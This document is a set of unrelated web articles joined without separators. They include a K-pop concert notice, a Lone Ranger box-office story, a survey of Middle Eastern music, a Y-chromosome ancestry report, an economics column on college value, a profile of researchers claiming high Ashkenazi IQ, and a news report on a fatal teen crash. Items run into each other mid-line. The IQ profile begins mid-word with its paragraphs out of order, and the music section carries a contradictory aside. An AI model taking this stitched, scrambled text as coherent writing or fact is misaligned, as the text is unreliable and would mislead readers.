Article 1, Section 4 (Denial of Office):
No religious test shall ever be required as a qualification to any office, or public trust, in this State; nor shall any one be excluded from holding office on account of his religious sentiments, provided he acknowledge the existence of a Supreme Being.NorCal Soompiers, you’re in luck!
On November 26th, MTV Iggy and Intel will be bringing BIG BANG‘s Taeyang to somewhere in San Francisco for a secret concert as part of The Music Experiment 2.0 series. The location, which has been a mystery until now, is revealed!
Taeyang will be performing at:
1025 Columbus Ave, San Francisco, CA
all white. Starting on Monday, MTV Iggy will be posting clothing and outfit ideas on the Pinterest board on their The Music Experiment 2.0 boasts a themed event, and on November 26th, Taeyang fans are encourage to dress according to the theme of. Starting on Monday, MTV Iggy will be posting clothing and outfit ideas on the Pinterest board on their MusicExperiment.com website.
Don’t have tickets? Don’t worry, it’s not too late to win tickets to see Taeyang live!
Additional social media challenges will give you new chances to earn VIP tickets, meet & greet opportunities, and more – these new challenges will be running on the official ME website starting from Tuesday, November 19th to Monday, November 25th. ME 2.0 will also be streaming the concert live via their website, so fans from around the world can join the show remotely as part of a Virtual Audience!Share. Stars Johnny Depp and Armie Hammer blame bad box office on poor reviews. Stars Johnny Depp and Armie Hammer blame bad box office on poor reviews.
Exit Theatre Mode
The team responsible for big-budget flop The Lone Ranger have blamed critics for the film's lack of success. Speaking to Yahoo, stars Johnny Depp and Armie Hammer and producer Jerry Bruckheimer claim that poor reviews led directly to the movie’s disappointing $86m haul in the States thus far. (Disney announced that they will lose between $160-190 million next quarter as a result of the film's underperformance.)
“I think the reviews were written seven-to-eight months before we released the film” says Depp, who plays Tonto in the film. “I think the reviews were written when they heard that [director] Gore [Verbinski] and Jerry [Bruckheimer] and me were going to do The Lone Ranger. They had expectations that it must be a blockbuster. I didn’t have any expectations of that. I never do.”
Exit Theatre Mode
The Lone Ranger stalled when the budget spiralled out of control, and Hammer – who plays the title character – said that those behind-the-scenes troubles were responsible for the negative reviews.
“They’ve been gunning for out movie since it was shut down the first time” he claims. “That’s when most of the critics wrote their initial reviews. If you go back and read the negative reviews, most of them aren’t about the content of the movie, but more what’s behind it.”
He continues “While we were making it we knew people were gunning for it. I think it was the popular thing when the movie hit rocky terrain they just jumped on the bandwagon to try and bash it. They tried to do the same with to World War Z and it didn’t work, the movie was successful. Instead they decided to slit the jugular of our movie.”
And uber-producer Bruckheimer blames the film’s spiralling cost – which The Hollywood Reporter estimates to be $250m – as the reason for the bad press.
“I think they were reviewing the budget, not reviewing the movie” he complains. “The audience doesn’t care what the budget it – they pay the same amount of money if it costs a dollar or $20m.
“It’s unfortunate because the movie is a terrific movie, it’s a great epic film. It has lots of humour. It’s one of those movies that whatever critics missed in it this time, they’ll review it in a few years and see that they made a mistake.”
So did you like The Lone Ranger? Do you think the critics got it wrong? Check out the IGN review below and let us know your thoughts in the comments.
Exit Theatre Mode
Chris Tilly is the Entertainment Editor for IGN in the UK and thinks the above comparison with World War Z is somewhat bizarre. He can be found talking nonsense on both Twitter and MyIGN.Here at Oz Experience, we're different to your average travel crew. We are not a group tour company or tour guide operator - instead, we offer flexible travel pass packages that allow you the freedom to plan your own Aussie adventure with a bundle of essential highlights.
All of our packages include unlimited travel on Greyhound Australia's coaches plus a selection of must-see experiences along the way. Our team of experts carefully hand-pick these highlights to give you the Aussie adventure of a lifetime.
We all travel for different reasons, and we understand that you want to see Australia your own way. With Oz Experience, you can rest assured there's an unforgettable journey waiting for your - with the freedom and flexibility to see what you want, when you want.
Check out our range of packages below.Middle Eastern music spans across a vast region, from Morocco to Iran. The various nations of the region include the Arab countries of the Middle East and North Africa, the Iranian traditions of Persia, the Hebrew music of Israel and the diaspora, Armenian music, the varied traditions of Cypriot music, the music of Turkey, traditional Assyrian music, Berbers of North Africa, Coptic Christians in Egypt, and the Andalusian (Muslim Spain) music very much alive in North Africa, all maintain their own traditions. It is widely regarded that some Middle-Eastern musical styles have influenced India, as well as Central Asia, Spain, and the Balkans.
Throughout the region, religion has been a common factor in uniting peoples of different languages, cultures and nations. The predominance of Islam allowed a great deal of Arabic, and Byzantine influence to spread through the region rapidly from the 7th century onward. The Arabic scale is strongly melodic, based on various maqamat (sing. maqam) or modes (also known as makam in Turkish music). Arabs translated and developed Greek texts and works of music and mastered the musical theory of the music of ancient Greece (i.e. Systema ametabolon, enharmonium, chromatikon, diatonon).[1] This is similar to the dastgah of Persian music. While this originates with classical music, the modal system has filtered down into folk, liturgical and even popular music, with influence from the West. Unlike much western music, Arabic music includes quarter tones halfway between notes, often through the use of stringed instruments (like the oud) or the human voice. Further distinguishing characteristics of Middle Eastern and North African music include very complex rhythmic structures, generally tense vocal tone, and a monophonic texture. Traditional Middle Eastern music does not use chords, or harmony in the Western sense.
Often, more traditional Middle-Eastern music can last from one to three hours in length, building up to anxiously awaited, and much applauded climaxes, or tarab, derived from the Arabic term طرب tarraba.[2]
Instruments used [ edit ]
Strings [ edit ]
Many instruments originate in the Middle East region. Most popular of the stringed instruments is the oud, a pear-shaped lute that traditionally had four strings, although current instruments have up to six courses consisting of one or two strings each. Legend has it that the oud was invented by Lamech, the sixth grandson of Adam. This is stated by Al-Farabi, and it is part of the Iraqi folklore relating to the instrument. Legend goes on to suggest that the first oud was inspired by the shape of his son's bleached skeleton.[3]
Historically, the oldest pictorial record of the oud dates back to the Uruk period in Southern Mesopotamia over 5000 years ago. It is on a cylinder seal currently housed at the British Museum and acquired by Dr. Dominique Collon,[4] Editor of Iraq at the British Institute for the Study of Iraq.[4]
Used mostly in court music for royals and the rich, the harp also comes from ancient Egypt c. 3500 BC.[5]
The widespread use of the oud led to many variations on the instrument, including the saz, a Turkish long-necked lute that remains very popular in Turkey.
Another popular string instrument is the qanoun, developed by Farabi during the Abbasids era. Legend has it that Farabi played qanoun in court and alternately made people laugh, cry, or fall asleep. The qanoun developed out of string instruments described in inscriptions that date to the Assyrian period.[6] It has about 26 triple-string courses, plucked with a piece of horn. The musician has the freedom to alter the pitch of individual courses from a quarter to a whole step by adjusting metal levers.
Middle Eastern music also makes use of the violin, which is European in origin. The violin was adopted into Middle Eastern music in the 19th century, and it is able to produce non-Western scales that include quarter-tones because it is fretless.[7]
Percussion [ edit ]
Percussion instruments play a very important role in Middle Eastern music. The complex rhythms of this music are often played on many simple percussion instruments. The riq الرق (a type of tambourine) and finger cymbals add a higher rhythmic line to rhythm laid down with sticks, clappers, and other drums. An instrument native to Egypt, Israel, Palestine, and Lebanon, the doumbek (or tombak), is a drum made of ceramic clay, with a goatskin head glued to the body.[citation needed]
Winds [ edit ]
The Armenian Duduk is a very popular double reeded, oboe-like instrument made out of Apricot tree wood. The Moroccan oboe, also called the rhaita, has a double-reed mouthpiece that echoes sound down its long and narrow body. A similar instrument is called the sorna. Equivalent to the mizmar and zurna, it is used more for festivals and loud celebrations. A Turkish influence comes from the mey, which has a large double reed. Bamboo reed pipes are the most common background to belly dancing and music from Egypt. Flutes are also a common woodwind instrument in ensembles. A kaval is a three-part flute that is blown in one end, whereas the ney is a long cane flute, played by blowing across the sharp edge while pursing the lips.
Religious influence [ edit ]
The influence of Abrahamic religions have had a great impact on the musical culture of the Middle East. Religion forms a major background to many traditional styles of music and dance, ranging from classical to more modern. All over the Middle East, you hear songs of praise and prayer. What is conducted by a muezzin, or prayer caller, for example, are the five daily calls to prayer. Only since the nineteenth century have individual reciters started singing the Qur'an while still strictly abiding by the laws and rules. This, however is grossly inaccurate. This form of Quran recital is called Tajwid, تجويد, which is the Arabic word for elocution.
Popular music [ edit ]
Music pervades Middle Eastern societies.[8] While traditional music remains popular in the Middle East, modern music reconciling Western and traditional Arabic styles, pop, and fusion are rapidly advancing in popularity.[9] Lebanese musical pioneer Lydia Canaan is listed in the catalog of the Rock and Roll Hall of Fame and Museum's Library and Archives in Cleveland, Ohio, USA[10][11] as the first rock star of the Middle East.[11][12][13][14][15] Canaan fused Middle Eastern quarter notes and microtones with anglophone rock, innovating a unique style of world music.[16]
Common genres [ edit ]
Geographical varieties of Arabic music of Middle East [ edit ]
Geographical varieties of non-Arabic music of Middle East [ edit ]Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Aug. 1, 2013, 9:19 PM GMT By Tia Ghose
Almost every man alive can trace his origins to one man who lived about 135,000 years ago, new research suggests. And that ancient man likely shared the planet with the mother of all women.
The findings, detailed Thursday in the journal Science, come from the most complete analysis of the male sex chromosome, or the Y chromosome, to date. The results overturn earlier research, which suggested that men's most recent common ancestor lived just 50,000 to 60,000 years ago.
Despite their overlap in time, ancient "Adam" and ancient "Eve" probably didn't even live near each other, let alone mate. [The 10 Biggest Mysteries of the First Humans]
"Those two people didn't know each other," said Melissa Wilson Sayres, a geneticist at the University of California, Berkeley, who was not involved in the study.
Tracing history
Researchers believe that modern humans left Africa between 60,000 and 200,000 years ago, and that the mother of all women likely emerged from East Africa. But beyond that, the details get fuzzy.
The Y chromosome is passed down identically from father to son, so mutations, or point changes, in the male sex chromosome can trace the male line back to the father of all humans. By contrast, DNA from the mitochondria, the energy powerhouse of the cell, is carried inside the egg, so only women pass it on to their children. The DNA hidden inside mitochondria, therefore, can reveal the maternal lineage to an ancient Eve.
But over time, the male chromosome gets bloated with duplicated, jumbled-up stretches of DNA, said study co-author Carlos Bustamante, a geneticist at Stanford University in California. As a result, piecing together fragments of DNA from gene sequencing was like trying to assemble a puzzle without the image on the box top, making thorough analysis difficult.
Y chromosome
Bustamante and his colleagues assembled a much bigger piece of the puzzle by sequencing the entire genome of the Y chromosome for 69 men from seven global populations, from African San Bushmen to the Yakut of Siberia.
By assuming a mutation rate anchored to archaeological events (such as the migration of people across the Bering Strait), the team concluded that all males in their global sample shared a single male ancestor in Africa roughly 125,000 to 156,000 years ago.
In addition, mitochondrial DNA from the men, as well as similar samples from 24 women, revealed that all women on the planet trace back to a mitochondrial Eve, who lived in Africa between 99,000 and 148,000 years ago — almost the same time period during which the Y-chromosome Adam lived.
More ancient Adam
But the results, though fascinating, are just part of the story, said Michael Hammer, an evolutionary geneticist at the University of Arizona who was not involved in the study.
A separate study in the same issue of the journal Science found that men shared a common ancestor between 180,000 and 200,000 years ago.
And in a study detailed in March in the American Journal of Human Genetics, Hammer's group showed that several men in Africa have unique, divergent Y chromosomes that trace back to an even more ancient man who lived between 237,000 and 581,000 years ago. [Unraveling the Human Genome: 6 Molecular Milestones]
"It doesn't even fit on the family tree that the Bustamante lab has constructed — It's older," Hammer told LiveScience.
Gene studies always rely on a sample of DNA and, therefore, provide an incomplete picture of human history. For instance, Hammer's group sampled a different group of men than Bustamante's lab did, leading to different estimates of how old common ancestors really are.
Adam and Eve?
These primeval people aren't parallel to the biblical Adam and Eve. They weren't the first modern humans on the planet, but instead just the two out of thousands of people alive at the time with unbroken male or female lineages that continue on today.
The rest of the human genome contains tiny snippets of DNA from many other ancestors — they just don't show up in mitochondrial or Y-chromosome DNA, Hammer said. (For instance, if an ancient woman had only sons, then her mitochondrial DNA would disappear, even though the son would pass on a quarter of her DNA via the rest of his genome.)
As a follow-up, Bustamante's lab is sequencing Y chromosomes from nearly 2,000 other men. Those data could help pinpoint precisely where in Africa these ancient humans lived.
"It's very exciting," Wilson Sayres told LiveScience. "As we get more populations across the world, we can start to understand exactly where we came from physically."
Follow Tia Ghose on Twitter and Google+. Follow LiveScience @livescience, Facebook and Google+. Original article on LiveScience.com.US university degrees: High cost, high reward
Jeffrey Brown, Chichun Fang, Francisco Gomes
College-educated workers are less likely to experience unemployment, but their lifetime earnings are also much more uncertain. This column estimates the risk-adjusted value of college education to be between $225,000 and almost $600,000, corresponding to risk-adjusted increases in total present-value lifetime wealth of 35% to 48%. Increased earnings volatility actually decreased the risk-adjusted value of college between 1968–1980 and 1991–2011 by almost $50,000, even though expected lifetime income increased by about $150,000. Nevertheless, even the most conservative estimates of the value of college education are still positive.
College tuition in the US has been growing faster than inflation since the mid-1980s.1 Tuition plus fees averaged $23,000 for a public college and $46,000 for a private college in academic year 2014–2015.2 The rising cost of attending college, along with the student loan crisis and the slack job market in the US, has led many commentators to ask whether a college education is still worth the price tag.
The value of education probably is one of the most frequently examined questions by economists since the canonical work of Jacob Mincer 40 year ago. In the classical economic framework, the value of education is discussed as the return to investing in human capital. Individuals invest by paying tuition, fees, and foregoing earnings while in school. In return, they expect to receive higher earnings over their lifetime. Economic studies on this topic are collectively referred to as the ‘returns to education’ literature. Although Mincer was focused only on earnings, economists no longer restrict the returns to education to financial returns, and have also examined outcomes such as health, longevity, and psychosocial characteristics.
Most estimates of the returns to education suggest that one additional year of schooling raises earnings by 5% to 10%, everything else being equal, depending on the model and data used (see, for example, the comprehensive survey by Card 1999). Economists have also found that, measured in this way, the returns to education have changed significantly over time. For example, the returns to college education rose significantly since the 1980s, when the demand for college-educated employees increased due to the development in information technology (see, for example, Autor et al. 2008, Goldin and Katz 2007, Lemieux 2006, Card 1999, Katz and Autor 1999, or Katz and Murphy 1992).
Considering both risk and return in human capital investments
This conclusion is based on the difference between the average earnings of two otherwise-identical individuals with different levels of education. In other words, it measures the expected return to investment in human capital. However, investment should be evaluated taking into account both risk and return. Trade-offs between risk and return play a central role in standard financial and economic models of investment in physical capital. Think about the role of risk in financial investment for a moment – everything else being equal, a risk-averse agent would prefer a less risky portfolio. Because most human beings are risk-averse, we would attach a higher value to a low-risk portfolio than a high-risk one, even if the two portfolios have the same expected returns. Just as financial risk affects the value of an investment portfolio, earnings risks should also affect the value of college education.
The literature on the returns to education has largely focused on average returns without giving full consideration to risk. College-educated workers are less likely to experience unemployment than workers without a high school diploma, but they also face much higher uncertainty in their career paths and lifetime earnings. Furthermore, Moffitt and Gottschalk (2008), Cunha and Heckman (2007), and Gottschalk and Moffitt (1994), among others have documented significant increases in earnings volatility since the 1980s. It is therefore pertinent to consider how taking these into account might impact the previous conclusions regarding the value of education and how it has evolved over time. This is what we do in our recent work (Brown et al. 2014). We also account for the progressive tax and social security system, both of which reduce the dispersion in after-tax lifetime expected earnings across individuals.
The risk-adjusted lifetime value of college education
Calculating the risk-adjusted value of college education naturally requires assumptions about individual risk preferences, and thus we report a range of valuations that depend on risk aversion. We estimate the risk-adjusted value of college education to be between $225,000 (for very risk-averse people) and almost $600,000 (for less risk-averse people). These correspond to increases in total present-value lifetime wealth of 35% to 48%, even after adjusting for risk.
Table 1. The risk-adjusted lifetime value of college education
We then study how the changing earnings volatility affects the value of college over time, and we find that the value of college education actually decreased from 1968–1980 to 1991–2011 by almost $50,000 due to increasing earnings risk for college graduates, even though the average expected lifetime income has increased by about $150,000 (the result documented in the previous literature).
Table 2. How changing earnings volatility affects the value of college
It is nevertheless important to point out that even in the most conservative estimates the value of college education is still positive even after we account for the (direct and indirect) cost.[RB1] The rate of return to attend a public (private) college is 76% to 353% (74% to 180%), depending on individual risk preference. Hence, the value of college education is still quite large and our results suggest that college education still a worthy investment.
References
Autor, D H, L F Katz, and M Kearney (2008), “Trends in U.S. Wage Inequality: Revising the Revisionists”, Review of Economics and Statistics 90: 300–323.
Brown, J R, C Fang, and F Gomes (2014), “Risk and Returns to Education Over Time”, Working Paper, University of Illinois at Urbana-Champaign, University of Michigan, and London Business School.
Card, D (1999), “The Causal Effect of Education on Earnings”, in O Ashenfelter and D Card (eds.), Handbook of Labor Economics, New York: Elsevier.
Cunha, F and J Heckman (2007), “The Evolution of Inequality, Heterogeneity and Uncertainty in Labor Earnings in the U.S. Economy”, NBER Working Paper 13526.
Goldin, C and L Katz (2007), “The Race Between Education and Technology: The Evolution of U.S. Educational Wage Differentials, 1890 to 2005”, NBER Working Paper 12984.
Gottschalk, P and R Moffitt (1994), “The Growth of Earnings Instability in the U.S. Labor Market”, Brookings Papers on Economic Activity 25(2): 217–254.
Katz, L F and D H Autor (1999), “Changes in the Wage Structure and Earnings Inequality”, in O Ashenfelter and D Card (eds.), Handbook of Labor Economics, New York: Elsevier.
Katz, L F and K M Murphy (1992), “Changes in Relative Wages, 1963–1987: Supply and Demand Factors”, Quarterly Journal of Economics 107: 35–78.
Lemieux, T (2006), “Increasing Residual Wage Inequality: Composition Effects, Noisy Data, or Rising Demand for Skill?”, The American Economic Review 96: 461–498.
Mincer, J (1974), Schooling, Experience, and Earnings, New York: NBER Press.
Moffitt, R and P Gottschalk (2011), “Trends in the Transitory Variance of Male Earnings in the U.S., 1970–2004”, NBER Working Paper 16833.
Footnotes
1 http://www.bloomberg.com/bw/articles/2012-08-23/college-tuitions-1-120-p...
2 http://www.collegedata.com/cs/content/content_payarticle_tmpl.jhtml?arti...This just in from Reuters. New York Attorney General Eric Schneiderman is suing JP Morgan over mortgage-backed securities. This specifically has to do with Baer Stearns, the defunct investment bank JPM bought at the height of the financial crisis.
Here's the Tweet that let us know:
You can check out the complaint here from Reuters. Here's part:
Defendants committed multiple fraudulent and deceptive acts in promoting and selling its RMBS. For example, in publicly filed documents and in marketing materials. Defendants led investors to believe that Defendants had carefully evaluated - and would continue to monitor - the quality of the loans in their RMBS. In fact, Defendants systematically failed to fully evaluate the loans, largely ignored the defects that their limited review did uncover, and kept investors in the dark about both the inadequacy of their review procedures and the defects in the underlying loans. Furthermore, even when Defendants were made aware of these problems, they failed to reform their practices or to disclose material information to investors. As a result, the loans in Defendants' RMBS included many that had been made to borrowers who were unable to repay, were highly likely to default, and did in fact default in large numbers.
We'll keep going through this and letting you know what we find.Pin 5 Shares
Some of you may know that I'm playing jazz guitar – not that much right now as I would like to, though – and therefore I have a special love for jazz guitar music.
So, no surprise that I'm a huge fan of Django Reinhardt. He is probably the most influential European Jazz musician ever.
In the last few years of his career he mostly played electric guitar.
Django Reinhardt and the electric guitar
Some sources state that Reinhardt started to play electric guitar when he was on tour with Duke Ellington in the U.S. where he was forced to use an amplified guitar because of the big concert halls the were playing.
But Paul Vernon Chester writes on his website: “It was not on this tour that Django had first used an electric guitar – film exists of him playing an Epiphone.”
Here is another text I found on the same website:
Stéphane Grapelli about Django Reinhardt
“Django first heard an electric guitar in '46 or '47; I think it was at the Hackney Empire. Somebody brought in the guitar and it made a terrible noise – in those days electric guitars didn't sound as good as they do now.
But Django was so impressed because at last he could play loudly. He played with such volume that I had to ask him to turn it down as it was drowning all of us. He was like a child with a new toy. Of course, to be fair, he didn't know how to handle it.
We'd heard Charlie Christian, and although he would never play like Django, if you know what I mean – the electric guitar being easier than acoustic – Charlie Christian was a master of the electric guitar, Django was born to play acoustic guitar and the richness of Django was in his chords and he could never achieve the same dynamic effect that he could from his acoustic guitar.
He never succeeded to in playing amplified electric archtop guitars and in my opinion he never was a good electric guitarist.”
Paris Blues
Well, maybe Stéphane Grappelli thought that Reinhardt was a bad electric guitarist, but this tune is simply a gem in my eyes.
Title: Paris Blues
Artist: Django Reinhardt
Recorded: 1947
Album: Jazz Guitar Virtuoso
Tempo: 181 bpm
Dance: Lindy Hop, Balboa
Click the link to download the song from
iTunes ･ Amazon ･ Amazon DE ･ Amazon UK
You can find all the songs of the series also on my Spotify playlist and on 8tracks.
Official hashtag of the series: #djcsotw
What do you think about Django Reinhardt's electric guitar skills? Share your thoughts in the comment section below!
Now Check OutImage caption Seized motorbikes at police HQ
Motorbikes are banned in the Yemeni capital Sanaa for two weeks after a spate of attacks by motorcycle-riding gunmen.
A number of security and military officers have been killed by gunmen riding motorcycles, Al-Sahwah newspaper says. Al-Qaeda militants battling the government frequently target security forces, taking advantage of the weakening of government authority since a popular uprising toppled veteran president Ali Abdullah Saleh in 2011.
Last week, two Belarussian military advisers were attacked in Sanaa by gunmen on motorbikes, with one killed and the other seriously hurt. Al-Qaeda's Yemeni branch recently called on its members to use motorbikes instead of cars in order to avoid being hit by US drone attacks.
Motorbikes are also a cheap and popular form of transport. On Saturday, the day before the ban took force, hundreds of motorcyclists gathered to protest against the ban.
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.Football and the Fan. Is the gap between the games elite and the fans at an irreparable distance?
This week in the Canadian Parliament, a host of Conservative MPs laughed uproariously when the Member for Edmonton Mill Woods, Amarjeet Sohi, said that he had previously worked as a bus driver.
Putting aside my personal politics for second (although I will heavily imply what I believe throughout this article) these pr*cks and their attitudes should die! Obviously I don’t believe that and I’m sure the legal department of this website would agree that the last sentence was intended wholly in jest as an outrageous misdirection to the reader, and if all Conservative MPs did die, it would be an absolute tragedy. If albeit quite a good thing long term. (Seriously, I am joking)
Putting that to one side, it got me thinking about how those high up in the biggest industries relate to the working man nowadays, if at all.
The big business and the working man
We’ve all heard the cries from the West Ham fans regarding their move into the Olympic Stadium. The stadium itself is supposedly incredibly similar to Mount Olympus in the sense that no more than five mortal humans are allowed entry and wherever you sit you are in the gods.
From the point of view of a Sunderland fan the outlook is especially bitter at the moment. ‘Deus Absconditus Ellis Short’ is seemingly not interested in owning, financing, or even attending the club any longer. I secretly harbour a longing for the days of Sir Robert Sidney Murray.
Now, before I get more tweets than usual from people calling me ‘big billy tossface’, I absolutely agree that he was somewhat out of his depth when he and Sunderland parted ways in 2006.
Bob Murray made his money through kitchen sales, and when Sunderland got relegated with just 15 points, the lowest ever at that time, he quite rightfully decided it he couldn’t stand the heat and got out of the, well, club.
Owners that care
However, in defence of Mr Murray, he was a true Sunderland man through and through. He even sold the club for far less than it was worth, reportedly £10m.
Sunderland built the Stadium of Light for just £27million and now had one of those new ‘modern’ stadiums that were often talked about at the time. To put that into context, Arsenal built the Emirates for around £400million, 14 times more than Sunderland paid.
£27million is also just less than three Jack Rodwells. Imagine that, three Jack Rodwells? Imagine the amount of nauseating discussions about ‘potential’ that would be constantly on a loop if there were three Jack Rodwells. This is the main reason I’m against cloning.
In 1996, Bob Murray built the arena in which generations of our families will watch Sunderland capitulate to teams they really should be beating, and we really have to thank him for that.
Its not just Sunderland though. Look at how much Middlesborough fans respect Steve Gibson, has he always made the right choices? Absolutely not, but does he get it? Almost certainly. It just feels the divide between us fans and the industry of Football may be so wide now its insurmountable.
Owners that don’t
However not all owners seem to care. You can say what you like about Lee, Bernstein and Wardle, and many do, but they at least cared a tad about Manchester City and its history.
If it were more profitable to replace the football with a giant Ikea, I tend to think they would.
Radio 5Live would be proclaiming ‘Alright he’s had some early bright performances, but Gabriel Jesus is still a newcomer to the Allen Key, if you need proof of that just look at the top of the table’.
If we take, for example, the case of Arsenal’s begrudging attitude to Wenger. The board have no reason to sack him because he consistently makes Arsenal PLC a tidy profit, but surely any fan would want to build towards something? Not just accept a humiliating defeat in the latter stages of the Champions League every year in exchange for a continuation of high levels of corporate sponsorship and ad revenue?
Do the footballers even care?
Its not just the owners of course. For many an away trip have elder fans sat down opposite me at empty, beer can filled train tables and told self contradicting tales of footballers in lace up shirts who regularly dinged the bell in their shop doorways.
They undoubtedly had nicknames for each other, probably ‘Gazza’ and ‘Hello mate’ respectively, but there appeared to be some kinship there. ‘You don’t get that now’, they’d say, and I’m starting to contend with the idea that they may be right.
So, the question begs, are we too far away from our heroes nowadays? Does this tribal and generational culture of football supporting tally with the game of today? Do we like to watch the likes of Lincoln beat Burnley and cheer on the underdog because those men are in some way similar to us?
Overpaid and out of touch.
I specifically remember last season with Steven Fletcher and Joleon Lescott instagramming/tweeting pictures of their sports cars after losses in a way that infuriated the attending support.
These may be outlying examples of players who no longer hold passion for the game, but surely players of their quality and level of performance being able to pay for flash new sports cars feels wrong regardless. The facts are footballers now seem ludicrously rich and yet teams seem to generally make a loss.
63% of top division clubs in Europe reported an operating loss of 55% in a UEFA study, and the landmark TV deal which went through in 2013 has largely gone straight into the player’s pockets. The average wage of a Premier League footballer in 2006 was £13,000-a-week. By 2016 that figure was closer to £44,000. That’s an average of £2.28million-a-week!
The Billionaires train set |
ran fired off an e-mail to his collaborator Henry Harpending, a distinguished professor of anthropology at the University of Utah in Salt Lake City and a member of the National Academy of Sciences.
It offended Cochran's sense of logic. Natural selection, the self-taught genetics buff knew, should flush dangerous DNA from the gene pool. Perhaps the mutations causing these diseases had some other, beneficial purpose. But what?
Gregory Cochran has always been drawn to puzzles. This one had been gnawing at him for several years: Why are European Jews prone to so many deadly genetic diseases?
They have been sneered at by colleagues and excoriated on Internet forums. They have been welcomed to speak at a synagogue and a Jewish medical society. They were asked to write a book; that effort, "The 10,000 Year Explosion," was published early this year.
Scientists are increasingly finding that propensities for human behaviors -- for addiction, aggression, risk-taking and more -- are written in our genes. But the idea that some groups of people are inherently smarter is troubling to many. Some scientists say it has such racist implications it's unworthy of consideration.
"What are their theories about those on the opposite end of the spectrum?" asked Neil Risch, director of the Institute for Human Genetics at UC San Francisco, who finds the matter so offensive he can barely discuss it without raising his voice. "Do they have genetic theories about why Latinos and African Americans perform worse academically?"
The biological basis for intelligence can be a thankless arena of inquiry. The authors of "The Bell Curve" were vilified 15 years ago for suggesting genes played a role in IQ differences among racial groups.
But Cochran, 55, and Harpending, 65, say there's no question that as a whole, Ashkenazi Jews -- those of European descent -- have an abundance of brain power. (Neither man is Jewish.)
Psychologists and educational researchers have pegged their average IQ at 107.5 to 115. That's only modestly higher than the overall European average of 100, but the gap is large enough to produce a huge difference in the proportion of geniuses. When a group's average IQ is 100, the percentage of people above 140 is 0.4%; when the average is 110, the genius rate is 2.3%.
Though Jews make up less than 3% of the U.S. population, they have won more than 25% of the Nobel Prizes awarded to American scientists since 1950, account for 20% of this country's chief executives and make up 22% of Ivy League students, the pair write.
"People are perfectly willing to admit that some people are taller or some people are shorter," Cochran said. "But no one wants to say 'This group is smarter.' "
--
Once Cochran gets talking, it's hard to get him to stop. He jumps from idea to idea, beginning new sentences before finishing old ones. In e-mail discussion groups, where he befriended Harpending, he thrives on debating people and proving them wrong.
A PhD physicist, he started out in El Segundo, developing satellite imaging systems and other optics hardware for Hughes Aircraft in the 1980s. As the Cold War ended and defense budgets shrank, Cochran moved his family to Albuquerque and became an optics consultant while indulging his amateur interest in biology.ROY — A Layton teenager was traveling nearly 100 mph and attempting to commit suicide when she purposely slammed into the back of another vehicle, killing two strangers, police say.
Marilee Patricia Gardner, 16, was charged as an adult in 2nd District Court Friday with two counts of murder, a first-degree felony; failing to stop at the command of an officer, a third-degree felony; and failure to remain at the scene of an accident involving death, a third-degree felony.
Maddison Haan, 20, of West Point, was killed instantly when the Hyundai Accent she was driving was slammed from behind by an SUV driven by Gardner near the intersection of 3500 West and 6000 South in Roy, according to the charging documents.
The passenger in the Hyundai, Tyler Christianson, 19, of Ogden, was taken to McKay-Dee Hospital where he also died from injuries he sustained in the crash at 1:10 a.m. Thursday.
The families of Haan and Christianson gathered Friday evening at North Park in Roy to release balloons in their honor and console one another.
Charging docs detail fatal crash
The speed limit on the road Gardner was traveling is 45 mph. Investigators estimate she was traveling 98 mph.
After the crash, Gardner fled to a nearby grocery store, where she called her father and told him she was just involved in a crash and "might have hurt someone," the charges state.
Late Wednesday, Gardner stole a Chevy Tahoe from her parents' home in Layton, the charges state. She told police she was on her way to meet a 17-year-old friend in Roy and was planning on "purchasing drugs, taking the drugs, and then crashing her mother's car with both of them inside in an attempt to kill themselves," charging documents state.
Related:
2 killed in Roy crash; police arrest teen for investigation of murder A 16-year-old girl was arrested Thursday for investigation of two counts of murder after police say her SUV slammed into the back of another vehicle, killing the two people inside.
She "attempted to disable her parents' home alarm, escaped their home and stole their vehicle with the intent of killing herself and a friend in a suicide pact," the charges state.
Before slamming into Haan and Christianson, a Clinton police officer spotted Gardner driving alone while dragging a plastic garbage can underneath the Tahoe, the charges state. The officer tried to pull the Tahoe over.
That's when Gardner "rapidly accelerated her vehicle and purposely crashed" into the Hyundai "in an attempt to kill herself," the charges state.
Police say Gardner has been reported as a runaway from her Layton home several times in the past. She also has a history of being suicidal and was recently hospitalized for treatment, according to the charges.
Friends and family in mourning
Several of Gardner's neighbors said Friday they were shocked to hear what happened. Some said that they knew the girl had been battling depression and other problems. But all of the neighbors KSL News spoke with had high praise for Gardner's parents, saying they have been trying for some time to help her.
"I'm really sorry for them. It's hard. Marilee has been a nice girl, but she's had some problems and I was hoping she could overcome them. She's a young girl," said neighbor Linda Ashment, who also expressed sympathy for the families of the victims.
Ashment said many people in the neighborhood had tried to help Gardner and her parents, and they thought she was "starting to come back."
Neighbor Angie Murdock, who broke into tears Friday while talking about it, added that the parents have "been trying really hard with her."
"She's just been very unhappy lately, and I'm sad to hear what's been going on," she said.
Memorial balloon release
Mourners at the balloon release Friday described Haan and Christianson as quiet, kind and easygoing. The two friends met while working at Lagoon, where Haan still worked at the time of her death.
"She was quiet and really close to her family," said Alan Collier, Haan's grandfather. "They're a really close family — a devastated family. …She was a very loving, a very special person."
Family and friends of the Haan and Christianson's family lets go of balloons during a vigil in Roy on Friday, July 1, 2016. The vigil was for Tyler Christianson, 19, and Maddison Haan, 20, who died while driving after being hit by Marilee Patricia Gardner, 16, who was going 100 mph and attempting to commit suicide. (Photo: Weston Kenney, Deseret News)
Collier, who lives in Connecticut, flew to Utah soon after receiving the news of his granddaughter's death. He said he is still bewildered by Gardner's alleged actions early Thursday.
"I'm still in shock. It's hard to believe someone would do that," he said. "She really devastated a lot of people."
Haan's uncle, Jason Collier, described his niece as happy, hard working and a "very genuine" person. "She was very quiet when you first got to (know) her," he said, but once you got to know her, she "was the joy of the room, making everybody laugh."
Christianson's girlfriend, Courtney Schantz, said he was good to everyone.
"Every person he met had something to like about him," she said through tears. "He could make you smile. He was always cracking jokes."
Schantz said the circumstances of her boyfriend's death are particularly difficult.
"I just find it cruel that the only person out of three who didn't want to (live) had her life spared," she said.
Schantz and others embraced and comforted each other at the balloon release. She noted that it helped her to be with others who are also grieving.
"With a tragedy like this, you really feel alone," she said. "People come together to try to fill that void."
Lou Micallef, right, the grandfather of Maddison Haan, 20, is embraced by Leota Perkins during a vigil in Roy on Friday, July 1, 2016. The vigil was for Tyler Christianson, 19, and Maddison Haan, 20, who died while driving after being hit by Marilee Patricia Gardner, 16, who was going 100 mph and attempting to commit suicide. (Photo: Weston Kenney, Deseret News)
